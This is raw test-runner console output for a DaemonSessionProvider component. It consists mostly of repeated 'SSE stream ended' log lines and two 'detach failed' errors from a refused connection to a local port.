stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps restored active prompts busy after shell commands finish
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
